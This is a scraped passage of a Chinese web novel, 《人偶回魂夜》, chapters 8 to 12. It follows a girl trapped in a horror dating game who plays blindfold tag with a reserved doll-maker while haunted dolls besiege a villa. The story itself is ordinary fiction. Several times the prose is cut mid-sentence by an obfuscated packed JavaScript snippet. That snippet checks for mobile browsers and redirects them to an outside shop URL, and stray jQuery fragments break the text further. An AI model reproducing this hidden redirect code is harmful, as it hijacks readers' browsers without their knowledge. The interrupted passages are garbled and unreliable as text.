“……” 他看向了之芙的脸色。之芙懵懵懂懂的看着他,似乎没有理解他的话,他顿了顿,不轻不重地补充:“再说了,你们都是第一次来,对房间不熟悉,蒙着眼睛万一磕到碰到了怎么办?” 众人面面相觑,之芙拍腿道:“可是我们之前也玩过啊!之前不就好好的嘛?” 她挪了几步,到黎夜面前。抓住他膝盖上的书,啪一声关上。 “我就想玩这个,你陪我玩吧——”她拖长了声音,看向黎夜的头顶。 ……嗯?等等?发生了什么?!之芙用力地擦了擦眼睛,确认自己没有看错。 黎夜头顶的进度条——掉了好大一节! 这个游戏的男主还会自己掉好感度的!好真实,但之芙陷入了苦恼。她得攻略回来才行,不然游戏没法通关。 “你是不是觉得上次我占你便宜了?”之芙问。 黎夜身体猛地一僵,半晌,一抿唇:“………没有。” 那就是有。 为了挽救自己濒危的好感度进度条,之芙想了想说:“那要不,你来抓我,我给你亲,怎么样?这样我们就扯平了!” “……”黎夜的脸更红了。那张始终表情冷淡的脸,不知何时漫上了红色,藏在黑发的后的耳根红透了,但嘴上仍然非常强硬,低声呵斥道: “我是男人,怎么能算被你占便宜,倒是你……” 脸红成这个样子,清高什么呀? “玩不玩吧?”之芙轻轻哼了一声,“不玩我们自己玩。” “……”黎夜摸了把耳朵,这会儿倒是斩钉截铁了,“玩。” 按照规则,当鬼的人要蒙上眼睛。之芙拿来布条给黎夜蒙眼,绕到他身后,手指穿过他乌黑的发丝。黎夜的头发有些长,微凉的发丝穿过指尖,乖顺地搭在后颈上,在之芙系布条的时候,无可避免地擦过他的后颈。 “……”男人的呼吸声一下变得沉重了,他侧头。 “等等,别动!”之芙立刻按住了他,机敏地像只警惕的猫,“你不许偷看,也不许作弊哦!” “……我不会。” 黑色的布条压在他的耳朵上,盖住绯红的颜色。 “好了!”他听到之芙拍了拍手,随即是其他人散开的脚步声。“你可以开始抓了!记住,如果迷路了就让我们拍手提示你!” 眼前被一片黑色覆盖,感知就变得灵敏起来,他听到呼吸声,鼻尖似乎闻到一股似有若无的淡香,像猫似地不轻不重地在他的心尖挠了一下,但来不及抓住就消散了。 随即是身边响起的脚步声,一下轻一下重,它的主人似乎雀跃地奔向藏匿之处。 刹那间黎夜没有多想,下意识抓住她的手。 “等等!” “什么?”之芙的声音听起来像是吓了一跳,“先说好,必须要躲起来再抓才能算数!你这个不算。” 黎夜抿唇:“你刚刚说的话还算数——”他一顿。 “什么?”之芙没有听清楚。“什么话?” “……没什么。”他的唇抿得更紧了。被黑布条遮住了眼睛,那张英俊的脸显出一种诡异感,高松的鼻梁挂住了黑布条,下半张脸被衬得很显眼,下颚紧紧绷着,线条更显锋利。 似乎因为刚刚自己没有说完的话而显得懊恼,唾弃自己怎么能问出这种话来,以至于表情不太好看。 但这个性格冷淡的男人向来没什么好表情,之芙也没有放在心上,跑开几步,她发现其他人都已经躲起来了。 因为躲藏的地点只在这个屋子里,不限于哪个房间,一转眼,偌大的客厅里就没有人了,大家都躲去了其他房间。 之芙走出门,回头看了一眼身后。 黎夜静静地站在原地,正默默地倒数五十个数。他身形本就高大,还穿着一身挺拔的白衬衣黑西裤,袖子挽到胳膊上,整个人都显得清瘦俊挺,脸上蒙着一个黑布条,只露出下半张脸的五官也不妨碍从他高挺的鼻梁、薄而长的唇形和锋锐的下颚线条看出他的英俊。 “轰隆——” 窗外,一道闪电划过乌云密布的天空。雨声似乎更大了,噼里啪啦的拍打着窗户,电灯跳了一下,房间里的沙发、木质长桌和壁炉都在一瞬间的黑白中被拉出了长长的影子,显得无比巨大,站在其中的黎夜就像被陷阱包围似的,孤寂、荒凉。 之芙突然有了个想法。 从进入游戏到现在,她还没见过黎夜手足无措的样子呢。这人从认识第一面起就始终冷冷清清的模样,似乎无论什么事都不能让他冷淡的表情发生变化,就算被她强吻,也是面无表情,一幅胸有成竹、“我不跟你计较”的清高样子。 现在他被蒙上眼睛,看不见东西,只能摸索着前进,也没有人指引他,他身上那层像是壳一样冷硬坚固的气质,会不会被打碎,流露出脆弱和手足无措? 想到这里,之芙停下了脚步,绕了一圈,回到了客厅里。 数到五十之后,黎夜停了下来。 四周一片寂静,落针可闻。 黎夜往前走了一步。他蒙着眼,伸出手,一开始的脚步非常缓慢,似乎在试探地丈量脚下的地板,很快他停下脚步,刚刚好停在了凳子前面,再往前一步就要撞上凳子。 ……什么啊,作弊? 但黎夜似乎看不到她。之芙又看了一会儿,突然注意到,他是停在了厚地毯和木板的交接处。 这是个很微小的台阶,但黎夜敏锐地可怕。他停了一会儿,思考着什么。很快,之芙发现他绕过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14234310|151376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了面前的凳子,脚步也不再迟缓,每一步都很利落。 想象中手忙脚乱地撞上家具的情况没有发生,黎夜的脸上也没有手足无措。 ……什么嘛,总是这样端着,没意思。 黎夜已经走到了客厅门口,之芙刚觉得有些无聊,想转身离开找个地方藏好,又看到黎夜停在了门前。 他似乎在犹豫往哪个方向走。也对,他是不知道其他人藏在那里的,而且躲藏的人是可以换地方的,所以他必须要让其他人提醒他方向。 之芙忽然心生一计,决定吓这个老古板一跳,轻手轻脚地站在了黎夜后面,等他要提示的时候,再吓他一跳,把他的冰山面具吓到! 果然,她屏气凝神地等了几秒,黎夜开口了:“拍手。” 话音未落,同时从几个方向传来了拍手的声音。 等到其他声音停止,黎夜正在辨认方向的时候,之芙突然伸出手,在黎夜的耳边合拢—— “啪!” 与此同时,她向前一步,猛地扑倒了当“鬼”的黎夜,倒反天罡地把高大的“鬼”扑到门板上,笑着道: “惊喜!” 喜不喜不知道,反正看黎夜的表情是挺惊讶的。他一只手反手抓住了之芙的手,另一只手就要去揭开布条,却忽然被按住了手腕。 “别生气了,让你抓到一次,我们扯平了,好不好?” 黎夜自上而下地望着她。女孩儿双手按在他的胸口,大概因为他太高,微微踮起脚尖,抬着一张小巧白皙的脸,挂着盈盈的笑,她干了那么可恶的恶作剧,却因为这个笑,让人生不起气来。 她强吻他,又吓了他,黎夜不想那么快原谅她,那太轻纵,好似显得他多没底线一样。他微微偏过头去,没搭话。 但不多时,胸前的手移上来,捧小狗脸似地捧住他的脸,摇了摇,一叠声地追问:“我都让你抓到了,好不好?好不好?” 黎夜完全是被迫看向她。真奇怪,她那双细白的胳膊怎么能这么有力气,他完全挣脱不开,让他感觉在她眼里他像个任她揉捏的小动物。 他的视线顺着胳膊往下,瞧见流畅的肩线,少女的臂膀线条优美得像是远山,再往下是一节腰线,拉得细长柔韧,美丽至极,几乎让人不知道视线往哪里放好——真是……成何体统。 黎夜花了点力气,念着“非礼勿视”才把自己的视线从女孩身上撕下来,然而对方非但不领情,还掐着他的脸,不断追问:“好不好?好不好?” “……”黎夜闭了闭眼,“好。” 之芙这才稍感满意地点头。 黎夜好不容易解救了自己的脸,侧过头去时耳根已经红透了:“你先……下去。” 之芙“啊”了一声,似乎这才意识到自己压着黎夜了,她稍微退开了一点,就见黎夜站直了身体,揉了揉自己的手腕。他脸都已经红透了,但忽然顿了顿,看向了之芙。 之芙:? 不知道怎么回事,黎夜的表情突然变得有点难看。 她下意识看向黎夜头顶上那个鲜红的进度条,虚空中只听得“叮咚”一声,进度条,就这么在之芙的眼皮子底下,突然掉了一截。 之芙:??? 不是说“好”吗?好感度还能掉? 之芙瞪大了眼睛看向他,只见黎夜揉着手腕,仿佛不经意般问: “我昨天晚上看到你和时雨拥抱。” “所以?”这跟掉好感度有什么关系吗?” 黎夜顿了顿: “你……对所有人都这么热情吗?” 9. 《人偶回魂夜》 “叮铃铃——” 挂在二楼的闹铃响了起来,“鬼”抓到了人,游戏结束了。 按照规则,被“鬼”抓到的人,要在第二轮里当“鬼”—— 时晴时雨给黎夜打了个眼色,带着其他两个人跑去外面藏了起来。 黎夜解开布条,抿着唇。见之芙还一脸茫然地站在原地,他走上前,用布条蒙住了之芙的眼睛。 黑色的布条覆盖住女孩灵动的双眼,黎夜才垂下眼,看着她的脸。 他其实很少见外人,更不习惯评判他人的外貌,他不知道别人眼里的之芙是什么样的,但在他眼里……他很难形容。 就像现在这样,顺着指尖,他撩开她被压住的发丝。柔软得像绸缎一样的发丝从掌心划过,落在她的脸颊旁边。她脸颊有点鼓,带着点天真的圆润,眼睛圆而亮,看人的时候会冒出笑眯眯的坏心眼。 “唔……” 掌心里软绵绵的脸颊动了动。之芙抿起唇,一点儿唇珠艳丽得让人眼热。然而她对于他落在唇上的视线毫不知情,抿着唇娇气地抱怨:“你手里的茧子好厚。” 茧子?对,茧子。他的手心摩挲过无数眼睛鼻子,雕刻过无数的嘴唇,却无论如何无法复现掌心下这张脸。 她的五官都是标准的——很奇怪的形容词,但作为一个人偶师,黎夜习惯用这种词汇来形容外表。 但和同样五官标准的人偶不同,她的五官下,她的皮肤里,她的眼睛中,总会冒出一股和人偶截然不同的,生动的气息,天真,恣意,漂亮得令人心惊,那是超脱皮肉五官而焕发出来的另一种美丽,再高超的技艺都无法窃取它。 低下头,他弯腰让布条穿过之芙的耳朵,固定在脑后,打上结。 “好了,你可以开始倒数了。”他说,放下手,却没有急着离开。 他也不知道自己为什么不找个地方躲起来,难道他也跟她一样预备着躲在身后吓她一跳?要再往前说,他也不知道自己为什么要跟这群小孩玩这种危险的,又莫名其妙的游戏。 黎夜摇了摇头,转身—— 没转动。 身后的人拉住了他的手。 女孩的声音听起来有点疑惑,有点犹豫:“你……还在生气吗?” 刚刚黎夜抓到她之后,就莫名其妙地问了她一个问题,还莫名其妙地生起气来。 之芙百思不得其解:他是什么意思?但黎夜就像闹脾气的小孩子一样,什么都不肯说。 “没有。”他答得很快。 “那就是有。”之芙也立刻答,噎了他一下。她的语气软软的,完全不见刚刚把他扑到门上的那股小霸王样,“你为什么要生气啊?” “是不是我……嗯,太轻浮了?” “……不是。” “那就是是。”之芙已经学会熟练地套用公式,仿佛狼来了故事里的人,不肯再相信他。 黎夜莫名感到一阵憋屈:“……真不是。” “哦哦,你说不是那就不是吧。”之芙顺着他说,但语气完全是一副纵容大度的“我还不知道你吗”的态度,她对他眨了眨眼——可惜在布条下完全看不到。“你别生气了,我知道你不是那种轻浮的人,以后我不会这么对你了。” “……那你想对谁?” “啊?” “那你,想,对谁?”黎夜又轻又慢地重复了一遍,每一个字都像是咬在牙间。 之芙:? 看她不说话,黎夜又咬牙切齿道:“你不是说我是你男朋友吗?” ——不对男朋友热情,还对其他的什么陌生人热情? 他就差直说了。然而,即使是这样,站在原地的女孩依然没什么反应,反而露出疑惑的表情。 她反问:“你不是不想当我男朋友吗?” 还好像特别善解人意一样,贴心地说:“你放心,以后我会尊重你的,不会再这么说了。” 之芙说得很诚恳,十万分的真心实意——毕竟,她每次这么一说,黎夜的好感度进度条就会在掉!黎夜这个难搞的攻略对象,睡一觉起来就会自己掉进度条,她可不想再让他掉进度条了! 黎夜:…… 这个小恶魔不再捉弄自己,不是好事吗? 他来这个地方,可不是为了陪这群学生演过家家的。他还有自己的事情要办,她不来妨碍他,反而正中他下怀。 但为什么,他就是觉得……憋屈。 之芙还茫然地看着他。仰着一张雪白的脸,看不到她的眼睛,却几乎能猜到那双眼睛里的疑惑。 “……嗯。”黎夜几乎是从牙缝里挤出这句话,咬牙切齿,“那你记住了。” 说罢,他转身就走。 黎夜的脚步声消失在了门外,房间里重新归于安静。 之芙疑惑地歪头。如果她现在不是在游戏里而是在漫画里,她的脑袋上一定有一个具象化的巨大的问号。 奇奇怪怪的。黎夜不是不喜欢被她强吻吗?这个老古板不是还说她轻浮吗? 布条蒙住了眼睛之后天地都黑暗下来,她本来还以为这样的布条可以从鼻梁支出的缝隙里看到脚下,但布条很厚,堆叠起来刚好挡住了缝隙,只有一点隐隐约约的光透出来,连脚下都看不太清楚。 呼吸声近在咫尺,耳边一切细微的动静都被无限放大了,她听到了一墙之隔的狂风骤雨,雨滴仿佛无数双手在不停地拍打着窗户,有一道雷声传入耳中——轰隆!!! 蒙住眼睛走路比想象中还要困难些。 之芙试图往外走。呼吸声中,她按照自己之前的记忆,学着不久前见到的黎夜的样子,一步一步往外走。 她记得……地毯和地板的交界处好像就在前面,好,就这样先走到地毯上去,确定一下自己的位置,然后再找门…… 她小心翼翼地迈开脚,好像第一次学会怎么控制身体似地,踉踉跄跄地往前走了几步—— “唔!” 撞上了椅子! 幸好她因为看不清楚路,走得不是很快,只是轻轻地撞了一下。但撞上椅子的不只是她的腿,还有她的心——本来还想看黎夜的笑话,结果他的笑话没看到,反而是自己傻乎乎地撞上了椅子。 之芙深呼吸,调整了一下方向,再次按照自己模糊的记忆和方向感,绕开椅子,走向记忆中大门的方向。 先走出门,然后让其他人拍手……有声音的话会比较好找方向!嗯,就这样! 她缓缓地移动着,随时小心着面前可能会出现的障碍物,伸出手在身前胡乱地摸索着。 忽然摸到了一个高大的物体。触手柔软微凉,她愣了一下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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只有被他握住的手缓缓向下,她感觉到微凉的脸颊蹭在自己的掌心,然后是嘴唇的轮廓,似乎是想亲一下她的掌心。 之芙一下把手抽了回来。 “嘴硬什么呀?” “……” “不许拉,也不许亲我手心。” “……” 衣摆又被拉住,轻轻地摇晃。 之芙扬起眉头,勾着唇,脸上带着小恶魔般得意洋洋的笑。 “那么想亲呀?” “……” “那——你得承认,你是我包养的男模才行。” “……” “或者,你求求我,求我包养你,怎么样?” 依然没有说话。之芙扶住旁边的门栏,佯装转身往外走,她往前走了几步,忽然感觉到身后有什么东西拉住了自己的袖子。 “求我的话,态度要好一点才行哦。” 笑眯眯地转过头,正想要摘下布条好好“教育”一下傲娇又嘴硬的老婆是会追妻火葬场的,突然一股巨力从身后抓住她的手臂,猛地往后一拉—— “唔!” 之芙一个踉跄。但她还没反应过来发生了什么,身后的人突然一把摘下她脑袋上的布条,出声道: “之芙,你在跟谁说话?!” ——那个声音,竟然是黎夜的声音! 之芙一呆,片刻后意识到自己此刻的处境,她被拉到了身后黎夜的怀里,而身前—— 漂亮的人偶微笑着站在那里。 10. 《人偶回魂夜》 五分钟后,客厅的壁炉旁边。 人偶被放在了壁炉旁的椅子上,一行七个人紧紧地盯着它。 时雨恍惚:“它,应该……应该不是你们把它从楼上带出来吧。” 除了黎夜,其他几人都是朋友,彼此知根知底,知道其他人不会做出这种恶作剧一样的事情,而黎夜,一个满嘴礼义廉耻的冷淡的老古板,当然也不会做出这种事情来。 “……”一阵令人窒息的沉默。 时雨勉强笑了笑:“总不能……是它自己走下来的吧?” 但事实就是,没有人去动它,它却出现在了一楼,而且在他们玩游戏的时候站到了之芙的面前。 众人的表情都变成了悚然。人偶坐在壁炉旁边,脸上挂着微笑,壁炉里的火焰跳跃着落在它苍白的脸上,随着噼里啪啦的声音,明明暗暗,仿佛在刺激着所有人的心脏。 “看这个。”黎夜突然站起身,众目睽睽之下走到人偶身边,夹起人偶垂下的一片衣摆——上面沾着一小块水渍。 外面在下雨,二楼的楼梯关不紧,今早起来的时候,所有人都发现了楼梯上有一大片水迹。 如果人偶是被人抱下来的,不会在这个地方沾上水渍。 所以最不可能的,才是唯一能解释娃娃为什么站在这里的原因。 所有人的目光同时转向了坐在人偶身边的之芙。她是这个房子的主人,也是人偶的主人。 时晴先开口了:“之芙,这个人偶是你的吧?” 他们都是被邀请来做客的客人,在主人的房子里遇上什么事,当然要先问主人。 之芙“唔”了一声。 这个人偶其实不是她的。照顾人偶是她的工作,所以准确来说,人偶是她的上司、老板。 但按照系统的说法,她是个“贪财好色且虚荣的女人”,谎称自己是别墅的主人,邀请其他人来玩——也就是说,这是个谎言。 在极端恐惧的情况下,罪魁祸首的谎言被拆穿了,会怎么样? 现在他们还算理智,但如果以后出了什么事,又会怎么样? 她唔了一声:“对。” “这个人偶你从哪里买来的?”时晴对她淡定的态度感到不可思议,她以为这个人偶是之芙买来的,问,“你之前有没有遇到过这样的事情?!” 之芙没有进入游戏之前的这具身体的记忆,按照系统的说法,这个身份是根据她本人生成的。她想了想:“人偶走路这种事情……也很正常吧?” “什么?”时晴完全没有想到她是这个反应,几乎是目瞪口呆地看着她,“你是认真的吗?” 然而之芙表情很平静,似乎完全不觉得自己说的话有什么问题,也并不为此感到恐惧,甚至理所应当,仿佛人偶会走路是什么天经地义的事情一样。 甚至连带着所有人都怔了一瞬,不由自主地怀疑起了自己的世界观。 直到身后传来一声哭声——是时雨。 这个可怜的女孩从昨天晚上上楼之后,就始终是精神恍惚的模样,今天一早起来也始终强颜欢笑,眼睛下面挂着浓浓的疲倦,一看就是昨天晚上没有睡好。 也是为了帮她放松一下,单鹏天才提起玩这个游戏的,却不想反而吓到了她。 “我昨天、我昨天晚上……”时雨呜咽着,“我昨天晚上见到的人影就是这样的!” “什么?” “刚刚我来的时候看到那个人偶站在那里……不会认错的!我昨天晚上看到的衣服,身形比例和身高……就是这个人偶!它当时还拿着刀!” 顿时,冷汗爬上脊背,悚然的情绪蔓延开来。 忽然,“轰隆——”一声巨响!窗外的闪电划破天空,如同利剑般劈开了寂静的空气。 “不管怎么样,先离开这里!”站在时雨旁边的单鹏天一把抓起时雨的手,拉着她站起来,跑到楼上去,不一会儿下来,手里拿着一串车钥匙。 因为别墅离市区很远,他们来的时候是自己开的车,这会儿正方便直接开车离开。 单鹏天沉着脸,套上雨衣,带着其他几个人走到门前,忽然注意到了什么,回头看去,皱眉道: “你们俩不跟我们走吗?” 四人稀稀拉拉的站在门前,一致回头看向坐在壁炉旁的之芙和黎夜。 之芙想了想,为难地说:“可是……这里是我家啊。” 哪有让主人从家里离开的道理? “可是……”时雨不敢置信指向坐在她身旁的人偶,“难道你不觉得它很恐怖吗?!你疯了?” 之芙依然是疑惑的表情。 时雨难以置信地看着她自然的表情,仿佛一瞬间产生一种荒谬感,就像是某天她出门时发现鱼在天上飞,而之芙理所应当地说:“鱼本来就会飞啊,是你记错了吧?” “跟她说不通。”单鹏天一把拉下时雨的手,“走,我们先离开这里,去报警。” 时雨咬着唇,最后回头看了一眼。 窗外电闪雷鸣,屋内一片昏暗。黎夜坐在之芙对面,背对着他们,而壁炉里的火光跳跃着,女孩的身体深深地陷入柔软的沙发中,她的瞳孔被火光照得晦暗不明,坐在她身旁的少年人偶骤然抬头,无机质的玻璃眼珠直直地看向她。 “!” 时雨吓了一跳!看也不敢看了,转头冲进了暴雨之中。 …… 汽车发动的嗡鸣声传来,之芙目送着他们开车离开了后院。 她摸着下巴思考,这个剧情点算是过去了——如果她的回答和现在不一样会怎么样?会引起争执,会被杀掉吗? 这个游戏里的每个角色的反应都好真实。不像是游戏,反而像是…… “那不是你的人偶吧。”忽然,坐在她对面的黎夜开口道。 “嗯?” 黎夜微微抬起下巴,看着她。来自身后的阴影笼罩了他的身体,看不清楚他的表情,只能听到他冷静而果断的声音。 “这栋别墅也不是你的。” 之芙微微一愣:“为什么这么说?你……” “人偶的主人应该给你发过照顾它注意事项了吧。”黎夜接着说。“但你没有照做,是不是?” 嗯?他为什么知道这些? 之芙对脑海里的系统小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“胡说八道!照顾人偶不是这样照顾的,这是谁发给你的?他是看你好骗么——” 话音未落,坐在之芙身边的人偶突然转过了脑袋,发出了一声突兀的嘎吱声,仿佛在打断他所说的话,但与此同时,人偶脑袋面朝的方向,后屋的位置,传来了断断续续的哭声。 “呜呜……呜呜……” 机械的,来自许许多多的人偶的哭声,自门外响起。 门被敲响了。 “咚咚咚……” 怯怯的机械声音自门外响起: “请问,有人在吗?” 黎夜面色一沉,三步并作两步走到之芙面前,面对着后屋的门,沉声道:“先回屋里去。” “什么?” 之芙还在疑惑,忽然门外响起了吱嘎吱嘎的挠门声。 “嘻嘻……来玩游戏啊。” “来玩蒙眼游戏呀!我来当鬼。抓到你……你要回答我的问题!” 11. 《人偶回魂夜》 不知何时开始,门外的倾盆大雨逐渐变小,雨声也渐渐地停歇了。 屋里屋外陷入了一片寂静。 那些嘎吱嘎吱的机械走动的声音,还有人偶的指尖刮擦着门板的声音就显得愈发清晰了。 “开门呀。开门呀。”尖尖细细的人偶声音响起,“不是要玩游戏吗?” 许久没有等到回应,人偶开始砸门了。 “开门!开门!开门!” 不知道门外到底有多少人偶,像是有千万只手在同时敲门,又像是有什么巨大的怪物在用力地捶着摇摇欲坠的铁门,黎夜站在她身前,脸色已经难看至极了。 出什么事了?事情为什么会突然变成这样? “先上楼。”黎夜保持着镇定,转身拉起之芙的手往外跑,“门坚持不了多久,我们先上楼!” 别墅很大,但只有通往后屋的一扇门可以进出,那些人偶堵在门口,就相当于把他们唯一的路给堵死了,只有从二楼可以想办法离开。 门外的人偶堵住了路,但好在门里没有其他人。黎夜和之芙一起跑到楼梯上,踩上楼梯时黎夜回头看她有没有跟上:“不要答应人偶任何要求,也不要回答它们的问题……” 他的声音在看清之芙的动作的时候戛然而止—— 在她身后,之芙抱着那只叫做谢应白的人偶,眼也不眨地越过他跑上楼,似乎对他骤然停下很疑惑,她站在台阶上,疑惑道:“怎么了?” 身后剧烈的砸门声中,黎夜仔细地打量着之芙脸上的表情。她似乎完全不觉得自己逃跑还要带上这个人偶是什么奇怪的事情。 人偶软哒哒地趴在她的怀中,只露出一张脸来。那张熟悉的脸隐没在楼梯的阴影中,似乎在冲他挑衅而得意的笑。 “哦,你在看这个啊。”之芙注意到他的视线,把人偶往怀里紧紧地抱了抱,“他这么可怜,我就……总不能把他丢下吧?” 黎夜:“……” 谁?谁可怜?这个人偶吗? “再说了,备忘录里说了不可以让他一个人的。” 这倒也是。黎夜大步追上了之芙,往二楼的最靠里房间跑:“先进主卧,那里可以看到楼下的情况!” 之芙应了一声,大步跟上。 奔跑带来的颠簸摇晃中,人偶趴在之芙肩膀上,嘴角往上勾了勾。 …… 主卧的各种设施和装修在昨天晚上已经被摧残得支离破碎了,为了保留“作案现场”也没有整理,如今也顾不得什么线索不线索的了,两人踏进主卧,黎夜把门关上,推着旁边的书柜压在了门上。 另一头,之芙把人偶放在床上,拉开了一旁的窗帘,往下看去。 从窗户刚好可以看到后屋外面草坪的位置,此刻雨停了,能见度也变高了,之芙一眼就看到屋外草坪上伸出的几双手—— 就像是经典恐怖片那样,一双双手从泥土里伸出来,扒住周围的草地,翻起一阵泥土,紧接着,一个个人偶的身体从土地下钻出来…… “咚咚咚。” “咚咚咚。” 脚步声从门外响起。 “你们在哪里呢?不是要玩游戏吗?” 人偶的声音从门外响起。 “游戏已经开始了吗?”细细尖尖的声音里带着一丝冰冷的恶意,它们咯咯的笑起来,像是天真的孩童,但那语气绝不是孩童能说出来的,“那我就要喊咯——拍手!” ——在蒙眼游戏里,如果“鬼”找不到人,玩家必须要拍手提示对方自己的位置。 否则将视为犯规,参加游戏的所有人都要回答“鬼”的问题,并且还要满足“鬼”提出的一个要求。 黎夜咬牙,拍了拍手。 他只是轻轻地合掌拍了一下,但外面始终没有停歇的嘻嘻哈哈的声音骤然一顿。仿佛进攻前的一个停顿,大合唱高.潮前的一个空白拍。 ——下一秒,尖锐的声音随之响起:“找到你了!” 门被人猛地敲响! 按照游戏规则,“鬼”蒙住了眼睛之后,人是不可以关门、设置障碍物的。 外面草坪上全是人偶,门外也是人偶,他们把自己的退路堵死了。意识到这一点,黎夜死死地盯着门,冷汗从额头滴落。怎么办? 他咬牙:“之芙,你先——喂!” 身后猝不及防传来一股巨力,一把抓住他往后面拖。黎夜猝不及防,一米八的大高个被比自己矮的之芙拽了个踉跄,几步就被拖到墙边。 这里的主卧是做了衣帽间的设计,衣柜比正常的衣柜大得多,之芙拽住他,先是把怀里的人偶“咚”一声扔进衣柜里,然后一脚迈入,另一只手拽着黎夜往衣柜里一拖,然后放手,关门。 动作一气呵成,行云流水地让人震惊。 见他奇怪地看着她,她还腼腆地笑了笑:“那个……嗯。这里比较安全吧。” 砸门声停歇了,取而代之的是剧烈的、地动山摇般几乎要把这个屋子掀翻的撞门声。 之芙赶紧用手捂住黎夜欲言又止的嘴,做了个“嘘”的手势。 随着一声巨响,大门被人偶从外面骤然撞开,室内室外归入一片寂静。 啪嗒。啪嗒。脚步声响起,人偶在衣柜的百叶窗木板外巡视。 木板外的光影沿着百叶窗样式的缝隙落在他们的脸上,黑暗而狭小的空间被挤得满满当当。 黎夜忽然注意到了什么。他微微弯腰,从脚下扯出一件衣服—— 那是一件属于青年的衬衣,洁白崭新,但有穿过的痕迹。身边的衣架上则挂着更多的属于男生的衣服,有衬衣、西裤、有卫衣和牛仔裤,甚至挂着领带和帽子。 这样的衣柜不可能属于一个女孩。 显而易见,这间屋子也不属于之芙。这些衣服都是量身定做的,可以看出穿着者骨架比成年男性纤细一些,但他很高——这屋子里只有一个人能穿这些衣服,人偶谢应白。 黎夜抓着衣服,看向之芙——还想抵赖吗? 但之芙似乎没有注意到他手里的衣服。她睁大了眼睛看向他,那双圆溜溜的猫儿眼在黑暗中缩成兴奋的一条竖瞳,在某一瞬间泄露出非人的蛛丝马迹。 但等到黎夜定睛一看,一切又好像只是他的错觉。 她只是睁着眼看着他,似乎一点都察觉不到门外的危险,往他身上靠了一下。 “……唔。” ……她靠得有点太近了。 黎夜很努力地在这种情况下保持着绅士姿势,尽量 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14234313|151376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不碰到她的身体,但衣柜里塞入三个人本来就拥挤,身后的人偶硌着她,她靠过来,就无可避免地贴在了他的肩膀上。 啪嗒。衣服从他手上掉了下去,黎夜半倚着衣柜,两只手扶着她的胳膊:“你……” 太近了。衣柜里安静无比,这么近的距离,能清晰地听到来自彼此的呼吸声。炽热从她呼吸扑到的脖颈处蔓延到了耳朵上。 一种奇异的香气自她身上倾泻而来,完全包裹了他。 啪嗒。啪嗒。人偶还在外面巡视。像被粘稠的蜂蜜裹住的小虫子,他奋力挣扎着扭头,透过百叶窗看向外面。 一个又一个人偶翻找着屋里的设施,像游魂野鬼般游荡在屋里,寻找着他们的踪迹。 他还想再看,但之芙靠了过来。她的发丝垂落在他的脸颊上,像是甜蜜的绞绳,牢牢缠住了他的视线,又像是一个坚固牢笼的铁栅栏,笼住了他的视线。 ……他的脸火辣辣的,多半已经红透了。 而之芙还直勾勾地盯着他。 黎夜迟滞的思绪顺着他的视线落在她的脸上。那张雪白的脸在昏暗的衣柜里也显得动人,然后他注意到她的嘴唇上有一点濡湿的红痕,在蔷薇花瓣似的柔软唇瓣上显眼至极。 那个是…… 黎夜的眼皮飞快地一跳。 是吻痕,是他昨天…… 黎夜的视线几乎是落荒而逃地越过她的肩头,看向她身后。 然而他的脑海中,那一点濡湿的红痕依然挥之不去,在雪白的脸颊上显出一种令人心惊的美丽。分明只是一点红痕,却又隐约透出一点过分甜腻的香气来,似乎昨夜的馥郁红酒气息还残留其上,在鼻尖轻轻地勾缠一圈,又飞快地远去。 “嗯?” 肩头搭着的小脑袋发出了一声鼻音。 她声音小小的,还带着一点疑惑:“你……在想什么?” 黎夜一手按住她,用几乎是气音的音量说:“没什么。” “……说谎。”之芙的声音也像是气音,她挣扎起来,黎夜本来就没想压着她,轻而易举被她挣脱了去。狭小昏暗的衣柜里,她完全是坐在他身上作威作福,不讲道理地伸手捧住他的脸。 “你在想什么?你突然变得好香……” 香?黎夜完全不能理解她的用词。但她凑得更近了,在他身上嗅来嗅去,像个寻找食物的小兽般磨蹭着他的脸颊。 不知道是不是衣柜里空间太小,氧气似乎要耗尽了,他清晰地感觉到她的手按住了他的胸膛,酥麻顺着她的指尖攀上他的脊背,他看到她的脸上浮起一层醉酒一般的红晕。 要、要亲了吗…… 他、他还是…… 他的视线无头苍蝇般乱飞,又像是强行转移自己的注意力似地越过她的肩头,强自镇定地看向她身后。 如果她还想要强吻……也、也不是不…… 等等。 黎夜忽然意识到哪里不对劲了。 昏暗而狭小的衣柜中,隐没着另一个人的身影。 衣柜的主人,正靠在另一头,用那双无机质的黑色玻璃眼珠,冷冰冰地盯着他。 它猛地挥手,寒光一闪,冰冷的刀锋直直地朝他扎下来! “唰——!” 12. 《人偶回魂夜》 “唰——!” 刀锋直直地朝着他的脸扎下来,寒光在他的瞳孔中越来越小,缩成锐利的一点针尖,千钧一发之际,黎夜猛地偏头! “嗡——!” 